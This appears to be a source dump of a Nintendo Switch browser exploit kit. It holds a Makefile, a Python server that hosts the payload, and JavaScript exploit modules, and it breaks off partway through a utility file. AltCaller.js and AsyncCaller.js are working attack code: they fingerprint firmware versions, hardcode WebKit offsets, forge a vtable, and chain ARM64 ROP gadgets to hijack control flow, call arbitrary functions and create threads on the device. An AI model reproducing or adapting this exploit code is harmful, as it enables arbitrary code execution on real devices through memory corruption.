├── Makefile ├── http_server.py ├── pegaswitch ├── Makefile ├── config.json ├── exploit │ ├── AltCaller.js │ ├── AsyncCaller.js │ ├── Result.js │ ├── ResultCode.js │ ├── fs │ │ ├── IDirectory.js │ │ ├── IFile.js │ │ └── IFileSystem.js │ ├── index.html │ ├── ipc.js │ ├── main.js │ ├── minmain.js │ ├── runNro.js │ ├── sdbcore.js │ ├── sploitMixin.js │ ├── sploitcore.js │ ├── svc.js │ └── utils.js └── package.json └── prebuilt ├── cache ├── index.html ├── installer.nro ├── rop.bin └── rop_relocs.bin /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | mkdir -p build/ 3 | browserify pegaswitch/exploit/main.js > build/bundle.js || exit 1 4 | cp pegaswitch/exploit/minmain.js build/minmain.js || exit 2 5 | cp pegaswitch/exploit/index.html build/exploit.html || exit 3 6 | cp prebuilt/index.html build/index.html || exit 4 7 | cp prebuilt/cache build/cache || exit 5 8 | cp prebuilt/installer.nro build/installer.nro || exit 6 9 | cp prebuilt/rop.bin build/rop.bin || exit 7 10 | cp prebuilt/rop_relocs.bin build/rop_relocs.bin || exit 8 11 | 12 | dev: 13 | cp ../nx-hbl/installer_obf/installer_obf.nro prebuilt/installer.nro || exit 9 14 | cp ../nx-hbl/runner_obf/build/rop.bin prebuilt/rop.bin || exit 10 15 | cp ../nx-hbl/runner_obf/build/rop_relocs.bin prebuilt/rop_relocs.bin || exit 11 16 | 17 | clean: 18 | rm -rf build/ 19 | 20 | install: 21 | make -C pegaswitch install 22 | 23 | deploy: 24 | scp -r build/* qlutoo@mtheall.com:pub_html/ 25 | -------------------------------------------------------------------------------- /http_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | 3 | from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer 4 | import SocketServer 5 | import random 6 | 7 | class S(BaseHTTPRequestHandler): 8 | def _set_headers(self): 9 | self.send_response(200) 10 | self.send_header('Content-type', 'text/html') 11 | self.end_headers() 12 | 13 | def do_GET(self): 14 | self._set_headers() 15 | if self.path == '/': 16 | self.path = '/index.html' 17 | 18 | if '?' in self.path: 19 | self.path = self.path[:self.path.find('?')] 20 | 21 | f = open('build' + self.path, "r") 22 | self.wfile.write(f.read()) 23 | 24 | def do_HEAD(self): 25 | self._set_headers() 26 | 27 | def do_POST(self): 28 | self._set_headers() 29 | print "in post method" 30 | self.data_string = self.rfile.read(int(self.headers['Content-Length'])) 31 | 32 | self.send_response(200) 33 | self.end_headers() 34 | 35 | print self.data_string 36 | 37 | class ThreadedHTTPServer(SocketServer.ThreadingMixIn, HTTPServer): 38 | pass 39 | 40 | 41 | def run(server_class=ThreadedHTTPServer, handler_class=S, host='192.168.2.200', port=80): 42 | server_address = (host, port) 43 | httpd = server_class(server_address, handler_class) 44 | print 'Starting httpd...' 45 | httpd.serve_forever() 46 | 47 | if __name__ == "__main__": 48 | from sys import argv 49 | 50 | if len(argv) == 2: 51 | run(port=int(argv[1])) 52 | elif len(argv) == 3: 53 | run(port=int(argv[1]), host=argv[2]) 54 | else: 55 | run() 56 | -------------------------------------------------------------------------------- /pegaswitch/Makefile: -------------------------------------------------------------------------------- 1 | install: 2 | npm install 3 | -------------------------------------------------------------------------------- /pegaswitch/config.json: -------------------------------------------------------------------------------- 1 | {"sdbcore":false} 2 | -------------------------------------------------------------------------------- /pegaswitch/exploit/AltCaller.js: -------------------------------------------------------------------------------- 1 | /* eslint no-redeclare: "off" */ 2 | var utils = require('./utils'); 3 | 4 | function getChainVersion() { 5 | if (navigator.userAgent.indexOf('NF/4.0.0.4.25 ') !== -1) { 6 | return '1.0.0' 7 | } else if (navigator.userAgent.indexOf('NF/4.0.0.5.9 ') !== -1) { 8 | return '2.0.0'; 9 | } else if (navigator.userAgent.indexOf('NF/4.0.0.5.10 ') !== -1) { 10 | return '2.1.0'; // and 2.2.0 and 2.3.0 11 | } else if (navigator.userAgent.indexOf('NF/4.0.0.6.9 ') !== -1) { 12 | return '3.0.0'; 13 | } else if (navigator.userAgent.indexOf('NF/4.0.0.7.9 ') !== -1) { 14 | return '4.0.0'; // actually 4.0.1, but hopefully the same 15 | } else { 16 | throw new Error('AltCaller not supported'); 17 | } 18 | } 19 | 20 | class AltCaller { 21 | constructor (sc) { 22 | this.chainVersion = getChainVersion(); 23 | this.sc = sc; 24 | 25 | // webkit offsets 26 | var loadglobalfunc = utils.add2(sc.base, { 27 | '1.0.0': 0xEECE90, 28 | '2.0.0': 0xEA9720, 29 | '2.1.0': 0xEAA184, 30 | '3.0.0': 0xE93FA8, 31 | '4.0.0': 0xEB9800 32 | }[this.chainVersion]); 33 | 34 | var stacksavefunc = utils.add2(sc.base, { 35 | '1.0.0': 0xE85F24, 36 | '2.0.0': 0xE43078, 37 | '2.1.0': 0xE43ADC, 38 | '3.0.0': 0xE35674, 39 | '4.0.0': 0xE59E94 40 | }[this.chainVersion]); 41 | 42 | this.gotcallergadg = utils.add2(sc.base, { 43 | '1.0.0': 0xF6C97C, 44 | '2.0.0': 0xF264DC, 45 | '2.1.0': 0xF26F40, 46 | '3.0.0': 0xF1198C, 47 | '4.0.0': 0xF3AA78 48 | }[this.chainVersion]); 49 | 50 | this.globptr = utils.add2(sc.base, { 51 | '1.0.0': 0x183D000, 52 | '2.0.0': 0x180AA40, 53 | '2.1.0': 0x180AA40, 54 | '3.0.0': 0x17EF780, 55 | '4.0.0': 0x181DE50 56 | }[this.chainVersion]); 57 | 58 | var gotfuncptrs = utils.add2(sc.base, { 59 | '1.0.0': 0x1816D88, 60 | '2.0.0': 0x17E6BF0, 61 | '2.1.0': 0x17E6BF0, 62 | '3.0.0': 0x17CBA78, 63 | '4.0.0': 0x17FA090 64 | }[this.chainVersion]); 65 | 66 | this.gotptr = utils.add2(sc.base, { 67 | '1.0.0': 0x1813828, 68 | '2.0.0': 0x17E3700, 69 | '2.1.0': 0x17E3700, 70 | '3.0.0': 0x17C8A58, 71 | '4.0.0': 0x17F7068 72 | }[this.chainVersion]); 73 | 74 | var stackrestorefunc; 75 | if (this.chainVersion === '1.0.0') { 76 | stackrestorefunc = utils.add2(sc.base, 0xE85F44); 77 | } else { 78 | stackrestorefunc = utils.add2(stacksavefunc, 20); 79 | } 80 | 81 | var triggerElement = document.createElement('foo'); 82 | this.triggerElement = triggerElement; 83 | 84 | var htmlElement = sc.read8(sc.getAddr(triggerElement), 0x18 >> 2); 85 | this.htmlElement = htmlElement; 86 | 87 | var htmlElementVtable = sc.read8(htmlElement, 0); 88 | this.htmlElementVtable = htmlElementVtable; 89 | 90 | var vtableSize = 0x490; 91 | var fakeVtable = sc.malloc(0x490); 92 | this.fakeVtable = fakeVtable; 93 | 94 | for (var i = 0; i < vtableSize; i += 8) { 95 | sc.write8(sc.read8(htmlElementVtable, i >> 2), fakeVtable, i >> 2); 96 | } 97 | 98 | var savegadg = sc.gadget([0x00, 0x04, 0x00, 0xa9, 0x02, 0x0c, 0x01, 0xa9, 0x04, 0x14, 0x02, 0xa9, 0x06, 0x1c, 0x03, 0xa9]); 99 | var loadgadg = sc.gadget([0x02, 0x0c, 0x41, 0xa9, 0x04, 0x14, 0x42, 0xa9, 0x06, 0x1c, 0x43, 0xa9, 0x08, 0x24, 0x44, 0xa9]); 100 | 101 | var savedContext = sc.malloc(0x210); 102 | var callContext = sc.malloc(0x210); 103 | this.callContextPointer = callContext; 104 | 105 | var pointerHolder = sc.malloc(0x100); 106 | this.pointerHolder = pointerHolder; 107 | 108 | sc.write8(savedContext, pointerHolder, 8 >> 2); 109 | sc.write8(callContext, pointerHolder, 0x10 >> 2); 110 | 111 | var stackSize = 1024 * 1024; 112 | var ropStart = 1022 * 1024; 113 | var callStack = sc.malloc(stackSize); 114 | 115 | this.stackArgsPointer = utils.add2(callStack, ropStart); 116 | 117 | sc.write8(this.stackArgsPointer, callContext, 0xF8 >> 2); // SP 118 | var calledReg; 119 | if (this.chainVersion == '1.0.0') { 120 | sc.write8(sc.gadget([0x20, 0x01, 0x3F, 0xD6, 0xFD, 0x7B, 0xC1, 0xA8, 0xC0, 0x03, 0x5F, 0xD6], true), callContext, 0x100 >> 2); 121 | /* 122 | 1674D8 BLR X9 123 | 1674DC LDP X29, X30, [SP],#0x10 124 | 1674E0 RET 125 | */ 126 | calledReg = 9; 127 | } else { 128 | sc.write8(sc.gadget([128, 2, 63, 214, 253, 123, 66, 169, 244, 79, 65, 169, 255, 195, 0, 145, 192, 3, 95, 214], true), callContext, 0x100 >> 2); // X30 (link register) 129 | /* 130 | EF4FEC BLR X20 131 | EF4FF0 LDP X29, X30, [SP,#0x20] 132 | EF4FF4 LDP X20, X19, [SP,#0x10] 133 | EF4FF8 ADD SP, SP, #0x30 134 | EF4FFC RET 135 | */ 136 | calledReg = 20; 137 | } 138 | this.calledRegOffset = calledReg * 2; 139 | 140 | var stack = []; 141 | if (this.chainVersion !== '1.0.0') { 142 | stack = [ 143 | 0, // argument 144 | 0, // argument 145 | 0, // X20 (ignored / argument) 146 | 0, // X19 (ignored / argument) 147 | 0, // X29 (ignored / argument) 148 | sc.gadget([253, 123, 66, 169, 244, 79, 65, 169, 255, 195, 0, 145, 192, 3, 95, 214]), // X30 149 | /* 150 | EF4FF0 LDP X29, X30, [SP,#0x20] 151 | EF4FF4 LDP X20, X19, [SP,#0x10] 152 | EF4FF8 ADD SP, SP, #0x30 153 | EF4FFC RET 154 | */ 155 | 156 | 0, // pad 157 | 0 // pad 158 | ]; 159 | } else { 160 | stack = [ 161 | 0, // X29 (ignored / argument) 162 | sc.gadget([0xFD, 0x7B, 0x41, 0xA9,0xF4, 0x4F, 0xC2, 0xA8,0xC0, 0x03, 0x5F, 0xD6]) // X30 163 | /* 164 | LDP X29, X30, [SP,#0x10] 165 | LDP X20, X19, [SP],#0x20 166 | RET 167 | */ 168 | ]; 169 | } 170 | 171 | var storeX0toX20; 172 | if (this.chainVersion !== '1.0.0') { 173 | storeX0toX20 = [253, 123, 65, 169, 128, 2, 0, 249, 244, 79, 194, 168, 192, 3, 95, 214]; 174 | } else { 175 | storeX0toX20 = [128, 2, 0, 249, 253, 123, 65, 169, 244, 79, 194, 168, 192, 3, 95, 214]; 176 | } 177 | 178 | stack = stack.concat([ 179 | pointerHolder, // X20 (location to store X0 to) 180 | 0, // X19 181 | 0, // X29 182 | sc.gadget(storeX0toX20, true), // X30 183 | 184 | // store the return value (X0) to X20 (saved context's X0) 185 | /* 186 | F10610 LDP X29, X30, [SP,#0x10] 187 | F10614 STR X0, [X20] 188 | F10618 LDP X20, X19, [SP],#0x20 189 | F1061C RET 190 | */ 191 | utils.add2(savedContext, 0x100), // X20 192 | stackrestorefunc, // X19 (value to store: LDP X29, X30, [SP],#0x10 ; RET) 193 | 194 | 0, // X29 195 | sc.gadget([253, 123, 65, 169, 224, 3, 19, 170, 243, 7, 66, 248, 192, 3, 95, 214]), // X30 196 | 197 | /* 198 | F1DC34 LDP X29, X30, [SP,#0x10] 199 | F1DC38 MOV X0, X19 200 | F1DC3C LDR X19, [SP],#0x20 201 | F1DC40 RET 202 | */ 203 | 204 | 0, // X19 205 | 0, // pad 206 | 0, // X29 207 | sc.gadget(storeX0toX20, true), // X30 208 | 209 | /* 210 | F10610 LDP X29, X30, [SP,#0x10] 211 | F10614 STR X0, [X20] 212 | F10618 LDP X20, X19, [SP],#0x20 213 | F1061C RET 214 | */ 215 | 0, // X20 216 | savedContext, // X19 217 | 0, // X29 218 | sc.gadget([253, 123, 65, 169, 224, 3, 19, 170, 243, 7, 66, 248, 192, 3, 95, 214]), // X30 219 | 220 | /* 221 | F1DC34 LDP X29, X30, [SP,#0x10] 222 | F1DC38 MOV X0, X19 223 | F1DC3C LDR X19, [SP],#0x20 224 | F1DC40 RET 225 | */ 226 | 0, // X19 227 | 0, // pad 228 | 0, // X29 229 | loadgadg // X30 230 | // longjmp (load state) 231 | ]); 232 | 233 | for (var i = 0; i < stack.length; i++) { 234 | if (stack[i] !== 0) { 235 | sc.write8(stack[i], this.stackArgsPointer, (i * 8) >> 2); 236 | } 237 | } 238 | 239 | sc.write8(stacksavefunc, fakeVtable, (61 * 8) >> 2); 240 | /* 241 | E43ADC STP X29, X30, [SP,#-0x10]! 242 | E43AE0 MOV X29, SP 243 | E43AE4 BL wkcTextBreakIteratorLastPeer_0 244 | */ 245 | 246 | var values = [ 247 | loadglobalfunc, 248 | /* 249 | EAA184 ADRP X8, #qword_180AA40@PAGE 250 | EAA188 LDR X0, [X8,#qword_180AA40@PAGEOFF] 251 | EAA18C RET 252 | */ 253 | sc.gadget([0, 4, 64, 249, 192, 3, 95, 214]), 254 | /* 255 | F0E2AC LDR X0, [X0,#8] 256 | F0E2B0 RET 257 | */ 258 | savegadg, // save context to X0 gadget 259 | loadglobalfunc, 260 | /* 261 | EAA184 ADRP X8, #qword_180AA40@PAGE 262 | EAA188 LDR X0, [X8,#qword_180AA40@PAGEOFF] 263 | EAA18C RET 264 | */ 265 | sc.gadget([0, 8, 64, 249, 192, 3, 95, 214]), 266 | /* 267 | E899CC LDR X0, [X0,#0x10] 268 | E899D0 RET 269 | */ 270 | loadgadg // load context from X0 gadget 271 | ]; 272 | 273 | this.magicView = new Uint32Array(new ArrayBuffer(6 * 8)); 274 | this.backupView = new Uint32Array((6 * 8) / 4); 275 | this.newView = new Uint32Array((6 * 8) / 4); 276 | for (var i = 0; i < values.length; i++) { 277 | this.newView[i * 2] = values[i][0]; 278 | this.newView[i * 2 + 1] = values[i][1]; 279 | } 280 | sc.write8(gotfuncptrs, sc.getAddr(this.magicView), 0x10 >> 2); // got function pointers 281 | 282 | this.backupView.set(this.magicView); 283 | 284 | this.callContext = new Uint32Array(sc.allocated[callContext]); 285 | this.oldGotThing = sc.read8(this.gotptr); 286 | } 287 | 288 | // GPR only 289 | call (funcp) { 290 | var sc = this.sc; 291 | 292 | var argc = arguments.length - 1; 293 | if (argc > 13) { 294 | throw new Error('too many arguments'); 295 | } 296 | 297 | var callContext = this.callContext; 298 | for (var i = 0; i < argc; i++) { 299 | var arg = arguments[i + 1]; 300 | if (ArrayBuffer.isView(arg)) { 301 | arg = arg.buffer; 302 | } 303 | if (arg instanceof ArrayBuffer) { 304 | arg = sc.getArrayBufferAddr(arg); 305 | } 306 | 307 | if (typeof arg === 'number') { 308 | arg = [arg, 0]; 309 | } else if (!(arg instanceof Array)) { 310 | throw new Error('invalid argument type'); 311 | } 312 | 313 | if (i < 8) { 314 | callContext[i * 2] = arg[0]; 315 | callContext[i * 2 + 1] = arg[1]; 316 | } else if (this.chainVersion !== '1.0.0') { 317 | sc.write8(arg, this.stackArgsPointer, ((i - 8) * 8) >> 2); 318 | } else { 319 | throw new Error('too many arguments') 320 | } 321 | } 322 | 323 | var calledRegOffset = this.calledRegOffset; 324 | callContext[calledRegOffset] = funcp[0]; 325 | callContext[calledRegOffset+1] = funcp[1]; 326 | 327 | this.triggerCallImpl(); 328 | 329 | return sc.read8(this.pointerHolder); 330 | } 331 | 332 | triggerCallImpl () { 333 | var sc = this.sc; 334 | 335 | sc.write8(this.fakeVtable, this.htmlElement, 0); 336 | 337 | sc.write8(this.gotcallergadg, this.gotptr, 0); 338 | /* 339 | F26F40 BL wkcSSLForceTerminatePeer_0 340 | F26F44 BL wkcNetForceTerminatePeer_0 341 | F26F48 BL wkcFileForceTerminatePeer_0 342 | F26F4C BL wkcThreadForceTerminatePeer_0 343 | F26F50 BL wkcTimerForceTerminatePeer_0 344 | F26F54 BL wkcHeapForceTerminatePeer_0 345 | F26F58 BL wkcscoryForceTerminatePeer_0 346 | F26F5C BL wkcDebugPrintForceTerminatePeer_0 347 | */ 348 | 349 | this.magicView.set(this.newView); 350 | var saved = sc.read8(this.globptr, 0); 351 | sc.write8(this.pointerHolder, this.globptr, 0); 352 | var out = this.triggerElement.scrollLeft >>> 0; 353 | sc.write8(saved, this.globptr, 0); 354 | 355 | this.magicView.set(this.backupView); 356 | sc.write8(this.oldGotThing, this.gotptr, 0); 357 | sc.write8(this.htmlElementVtable, this.htmlElement, 0); 358 | 359 | return out; 360 | } 361 | 362 | // "unsafe" functions allow a call to be repeated very quickly, 363 | // but don't perform automatic cleanup. the usual call interface 364 | // must not be used before unsafeCleanupCall has been invoked. 365 | // unsafeCleanupCall must be invoked or global data will be left 366 | // in an invalid state. 367 | unsafeSetupCall (funcp) { 368 | var sc = this.sc; 369 | 370 | var argc = arguments.length - 1; 371 | if (argc > 13) { 372 | throw new Error('too many arguments'); 373 | } 374 | 375 | var callContext = this.callContext; 376 | for (var i = 0; i < argc; i++) { 377 | var arg = arguments[i + 1]; 378 | if (typeof arg === 'number') { 379 | arg = [arg, 0]; 380 | } else if (!(arg instanceof Array)) { 381 | throw new Error('invalid argument type'); 382 | } 383 | 384 | if (i < 8) { 385 | callContext[i * 2] = arg[0]; 386 | callContext[i * 2 + 1] = arg[1]; 387 | } else if (this.chainVersion !== '1.0.0') { 388 | sc.write8(arg, this.stackArgsPointer, ((i - 8) * 8) >> 2); 389 | } else { 390 | throw new Error('too many arguments') 391 | } 392 | } 393 | var calledRegOffset = this.calledRegOffset; 394 | callContext[calledRegOffset] = funcp[0]; 395 | callContext[calledRegOffset+1] = funcp[1]; 396 | sc.write8(this.fakeVtable, this.htmlElement, 0); 397 | sc.write8(this.gotcallergadg, this.gotptr, 0); 398 | this.magicView.set(this.newView); 399 | this.saved = sc.read8(this.globptr, 0); 400 | sc.write8(this.pointerHolder, this.globptr, 0); 401 | } 402 | 403 | unsafeTriggerCall () { 404 | return this.triggerElement.scrollLeft; 405 | } 406 | 407 | unsafeCleanupCall () { 408 | this.sc.write8(this.saved, this.globptr, 0); 409 | this.magicView.set(this.backupView); 410 | this.sc.write8(this.oldGotThing, this.gotptr, 0); 411 | this.sc.write8(this.htmlElementVtable, this.htmlElement, 0); 412 | } 413 | } 414 | 415 | module.exports = AltCaller; 416 | -------------------------------------------------------------------------------- /pegaswitch/exploit/AsyncCaller.js: -------------------------------------------------------------------------------- 1 | /* eslint camelcase: "off" */ 2 | /* eslint no-redeclare: "off" */ 3 | /* global performance */ 4 | var utils = require('./utils'); 5 | 6 | class AsyncCaller { 7 | constructor (sc) { 8 | this.sc = sc; 9 | 10 | this.load_gadget = sc.gadget('020c41a9041442a9061c43a9082444a9'); 11 | // this.ldr_x8 = sc.gadget('080540f900013fd6607e4092fd7b42a9f44f41a9') 12 | 13 | this.str_x0_x19 = sc.gadget('fd7b41a9600200f9f30742f8c0035fd6'); 14 | this.ldr_x0 = sc.gadget('e00740f9fd7b41a9ff830091c0035fd6'); 15 | this.br_x16 = sc.gadget('fd7bc1a800021fd6'); 16 | this.ldr_x19 = sc.gadget('f31740f9fd7b43a9ff030191c0035fd6'); 17 | this.exit_thread = sc.gadget('410100d4'); 18 | } 19 | 20 | // timeout in milliseconds 21 | // -1: no timeout 22 | call (func_ptr, args, timeout) { 23 | if (args.length >= 8) { 24 | throw new Error('too many arguments'); 25 | } 26 | for (var i = 0; i < args.length; i++) { 27 | if (ArrayBuffer.isView(args[i])) { 28 | args[i] = args[i].buffer; 29 | } 30 | if (args[i] instanceof ArrayBuffer) { 31 | args[i] = this.sc.getArrayBufferAddr(args[i]); 32 | } 33 | } 34 | for (var i = args.length; i < 8; i++) { 35 | args[i] = [0, 0]; 36 | } 37 | if (timeout === undefined) { 38 | timeout = 5000; 39 | } 40 | /* 41 | ldr_x0: 42 | 0x7853e729a4 e00740f9 ldr x0, [sp, 8] ; x0 = &(&exitThread-0x30) 43 | 0x7853e729a8 fd7b41a9 ldp x29, x30, [sp, 0x10] 44 | 0x7853e729ac ff830091 add sp, sp, 0x20 45 | 0x7853e729b0 c0035fd6 ret 46 | 47 | load_gadget: 48 | 0x7853ed626c 020c41a9 ldp x2, x3, [x0, 0x10] 49 | 0x7853ed6270 041442a9 ldp x4, x5, [x0, 0x20] 50 | 0x7853ed6274 061c43a9 ldp x6, x7, [x0, 0x30] 51 | 0x7853ed6278 082444a9 ldp x8, x9, [x0, 0x40] 52 | 0x7853ed627c 0a2c45a9 ldp x10, x11, [x0, 0x50] 53 | -- snip -- 54 | 0x7a9c63963c 104448a9 ldp x16, x17, [x0, 0x80] 55 | -- snip -- 56 | 0x7853ed62a0 1c744ea9 ldp x28, x29, [x0, 0xe0] 57 | 0x7853ed62a4 1e8040f9 ldr x30, [x0, 0x100] 58 | 0x7853ed62a8 017c40f9 ldr x1, [x0, 0xf8] 59 | 0x7853ed62ac 3f000091 mov sp, x1 60 | 0x7853ed62b0 0004516d ldp d0, d1, [x0, 0x110] 61 | -- snip -- 62 | 0x7853ed62f0 1f0441fd ldr d31, [x0, 0x208] 63 | 0x7853ed62f4 000440a9 ldp x0, x1, [x0] 64 | 0x7853ed62f8 c0035fd6 ret 65 | 66 | br_x16: 67 | 0x7a9c5ae6b0 fd7bc1a8 ldp x29, x30, [sp], 0x10 68 | 0x7a9c5ae6b4 00021fd6 br x16 69 | 70 | FUNCTION EXECUTES HERE 71 | 72 | ldr_x19: 73 | 0x7a9c22fea8 f31740f9 ldr x19, [sp, 0x28] ; [0x28:4]=0x8e2e9c ; '(' 74 | 0x7a9c22feac fd7b43a9 ldp x29, x30, [sp, 0x30] 75 | 0x7a9c22feb0 ff030191 add sp, sp, 0x40 76 | 0x7a9c22feb4 c0035fd6 ret 77 | 78 | str_x0_x19: 79 | 0x7a9c303f4c fd7b41a9 ldp x29, x30, [sp, 0x10] 80 | 0x7a9c303f50 600200f9 str x0, [x19] 81 | 0x7a9c303f54 f30742f8 ldr x19, [sp], 0x20 82 | 0x7a9c303f58 c0035fd6 ret 83 | 84 | ldr_x0: 85 | 0x7853e729a4 e00740f9 ldr x0, [sp, 8] ; x0 = magic return flag 86 | 0x7853e729a8 fd7b41a9 ldp x29, x30, [sp, 0x10] 87 | 0x7853e729ac ff830091 add sp, sp, 0x20 88 | 0x7853e729b0 c0035fd6 ret 89 | 90 | str_x0_x19 91 | 0x7a9c303f4c fd7b41a9 ldp x29, x30, [sp, 0x10] 92 | 0x7a9c303f50 600200f9 str x0, [x19] ; magic return flag 93 | 0x7a9c303f54 f30742f8 ldr x19, [sp], 0x20 94 | 0x7a9c303f58 c0035fd6 ret 95 | 96 | exit_thread: 97 | 0x7853e855b4 410100d4 svc 0xa ; ExitThread 98 | */ 99 | 100 | var load_gadget = this.load_gadget; 101 | // var ldr_x8 = this.ldr_x8 102 | var str_x0_x19 = this.str_x0_x19; 103 | var ldr_x0 = this.ldr_x0; 104 | var br_x16 = this.br_x16; 105 | var ldr_x19 = this.ldr_x19; 106 | var exit_thread = this.exit_thread; 107 | var sc = this.sc; 108 | 109 | return new Promise((resolve, reject) => { 110 | var magic_return_flag = [0, 0]; 111 | while (magic_return_flag[0] === 0 && magic_return_flag[1] === 0) { 112 | magic_return_flag = [Math.floor(Math.random() * 0x1000), Math.floor(Math.random() * 0x1000)]; 113 | } 114 | 115 | var load_area = sc.malloc(0x280); 116 | var sp = sc.malloc(0x300); 117 | var initial_sp = sp; 118 | var scratch = sc.malloc(0x20); 119 | sc.write8([0, 0], scratch, 0x00 >> 2); // return value 120 | sc.write8([0, 0], scratch, 0x10 >> 2); // magic return flag 121 | var return_value_addr = utils.add2(scratch, 0x00); 122 | var magic_return_flag_addr = utils.add2(scratch, 0x10); 123 | 124 | sc.write8(load_area, sp, 0x8 >> 2); // ldr x0, [sp, 8] 125 | sc.write8(load_gadget, sp, 0x18 >> 2); // ldp x29, x30, [sp, 0x10] 126 | sp = utils.add2(sp, 0x20); // add sp, sp, 0x20 127 | 128 | sc.write8(args[0], load_area, 0x000 >> 2); 129 | sc.write8(args[1], load_area, 0x008 >> 2); 130 | sc.write8(args[2], load_area, 0x010 >> 2); 131 | sc.write8(args[3], load_area, 0x018 >> 2); 132 | sc.write8(args[4], load_area, 0x020 >> 2); 133 | sc.write8(args[5], load_area, 0x028 >> 2); 134 | sc.write8(args[6], load_area, 0x030 >> 2); 135 | sc.write8(args[7], load_area, 0x038 >> 2); 136 | sc.write8(func_ptr, load_area, 0x080 >> 2); // x16 137 | sc.write8(sp, load_area, 0xf8 >> 2); // sp 138 | sc.write8(br_x16, load_area, 0x100 >> 2); // x30 (LR) 139 | 140 | sc.write8(ldr_x19, sp, 0x8 >> 2); // ldp x29, x30, [sp], 0x10 141 | sp = utils.add2(sp, 0x10); 142 | 143 | // br x16 144 | // FUNCTION EXECUTES HERE 145 | 146 | // ldr_x19: 147 | sc.write8(return_value_addr, sp, 0x28 >> 2); // ldr x19, [sp, 0x28] 148 | sc.write8(str_x0_x19, sp, 0x38 >> 2); // ldp x29, x30, [sp, 0x30] 149 | sp = utils.add2(sp, 0x40); // add sp, sp, 0x40 150 | // ret 151 | 152 | // str_x0_19: 153 | sc.write8(ldr_x0, sp, 0x18 >> 2); // ldp x29, x30, [sp, 0x10] 154 | // str x0, [x19] 155 | sc.write8(magic_return_flag_addr, sp, 0x0 >> 2); // ldr x19, [sp], 0x20 156 | sp = utils.add2(sp, 0x20); 157 | // ret 158 | 159 | // ldr_x0: 160 | sc.write8(magic_return_flag, sp, 0x8 >> 2); // ldr x0, [sp, 8] 161 | sc.write8(str_x0_x19, sp, 0x18 >> 2); // ldp x29, x30, [sp, 0x10] 162 | sp = utils.add2(sp, 0x20); // add sp, sp, 0x20 163 | // ret 164 | 165 | // str_x0_19: 166 | sc.write8(exit_thread, sp, 0x18 >> 2); // ldp x29, x30, [sp, 0x10] 167 | // str x0, [x19] 168 | // ldr x19, [sp], 0x20 169 | sp = utils.add2(sp, 0x20); 170 | // ret 171 | 172 | // svcExitThread 173 | 174 | var prio = [58, 0]; 175 | var handle = sc.svcCreateThread(ldr_x0, load_area, initial_sp, prio, 1).assertOk(); 176 | sc.svcStartThread(handle).assertOk(); 177 | 178 | var begin = performance.now(); 179 | var wait = function () { 180 | var field = sc.read8(scratch, 0x10 >> 2); 181 | if (field[0] !== magic_return_flag[0] || field[1] !== magic_return_flag[1]) { 182 | if (timeout >= 0 && (performance.now() - begin) > timeout) { 183 | sc.svcCloseHandle(handle).assertOk(); 184 | sc.free(load_area); 185 | sc.free(initial_sp); 186 | sc.free(scratch); 187 | reject(new Error('timed out')); 188 | } else { 189 | window.requestAnimationFrame(wait); 190 | } 191 | } else { 192 | sc.svcCloseHandle(handle).assertOk(); 193 | sc.free(load_area); 194 | sc.free(initial_sp); 195 | sc.free(scratch); 196 | resolve(sc.read8(scratch, 0x00)); 197 | } 198 | }; 199 | window.requestAnimationFrame(wait); 200 | }); 201 | } 202 | } 203 | 204 | module.exports = AsyncCaller; 205 | -------------------------------------------------------------------------------- /pegaswitch/exploit/Result.js: -------------------------------------------------------------------------------- 1 | var utils = require('./utils'); 2 | 3 | var emptyOk; 4 | 5 | class Result { 6 | constructor(isOk, value) { 7 | this.isOk = isOk; 8 | this.value = value; 9 | } 10 | 11 | /* 12 | If this result is not Ok, throw the error. If it is, return the value. 13 | Example: 14 | sc.svcCloseHandle(handle).assertOk(); 15 | var thread = sc.svcCreateThread(...).assertOk(); 16 | Throws: 17 | The error, if this is an Err result. 18 | Returns: 19 | The value, if this is an Ok result. 20 | */ 21 | assertOk() { 22 | if(!this.isOk) { 23 | if(this.value) { 24 | throw new Error(this.value); 25 | } else { 26 | throw new Error("no error?"); 27 | } 28 | } 29 | return this.value; 30 | } 31 | 32 | /* 33 | If this result is not Err, throw an error. If it is, return the error. 34 | Example: 35 | var err = sc.svcConnectToPort("bad port").assertError(); 36 | Throws: 37 | new Error("expected error but was successful") if this is an Ok result. 38 | Returns: 39 | The error, if this is an Err result. 40 | */ 41 | assertError() { 42 | if(this.isOk) { 43 | throw new Error("expected error but was successful"); 44 | } 45 | return this.value; 46 | } 47 | 48 | /* 49 | Convenience function for working with ResultCodes. Expects a certain error code. 50 | Example: 51 | sc.svcCloseHandle(0).assertErrorCode(0xe401); 52 | Throws: 53 | new Error("expected error but was successful") if this is an Ok result. 54 | new Error("expected error code"...) if the error code does not match. 55 | Returns: 56 | The numeric error code. 57 | */ 58 | assertErrorCode(expected) { 59 | expected = utils.trunc32(expected); 60 | var code = utils.trunc32(this.assertError().resultCode); 61 | if(code === expected) { 62 | return this.value; 63 | } else { 64 | throw new Error("expected error code 0x" + expected.toString(16) + ", got " + code.toString(16)); 65 | } 66 | } 67 | 68 | /* 69 | map(f): 70 | Transform an Ok value, but pass through an Err value. 71 | Returns: 72 | A new Ok result with the return value of the mapping function if the 73 | original Result was Ok. Otherwise, the same Err result. 74 | map(f, e): 75 | Transform both an Ok value and an Err value. 76 | Returns: 77 | If Ok, return new Ok with the return value of the Ok mapping function. 78 | If Err, return new Err with the return value of the Err mapping function. 79 | */ 80 | map(f, e) { 81 | if(this.isOk) { 82 | return new Ok(f(this.value)); 83 | } else { 84 | if(e !== undefined) { 85 | return new Err(e(this.value)); 86 | } else { 87 | return this; 88 | } 89 | } 90 | } 91 | 92 | /* 93 | Transform an Err value, but pass through an Ok value. 94 | */ 95 | mapErr(e) { 96 | if(this.isOk) { 97 | return this; 98 | } else { 99 | return new Err(e(this.value)); 100 | } 101 | } 102 | 103 | /* 104 | If Ok, return new Err with the value. 105 | If Err, return new Ok with the error. 106 | Useful for if you expect an error and to not get one is a real error. 107 | */ 108 | invert() { 109 | if(this.isOk) { 110 | return new Err(this.value); 111 | } else { 112 | return new Ok(this.value); 113 | } 114 | } 115 | 116 | /* 117 | If Ok and f(this.value) is also Ok, return Ok(f(this.value)). 118 | Otherwise, return Err(this.value) 119 | */ 120 | andThen(f) { 121 | if(this.isOk) { 122 | return f(this.value); 123 | } else { 124 | return this; 125 | } 126 | } 127 | 128 | /* 129 | Shorthand for .map(() => nv). Discards the original Ok value, useful for if it was 130 | going to be `undefined` anyway. 131 | */ 132 | 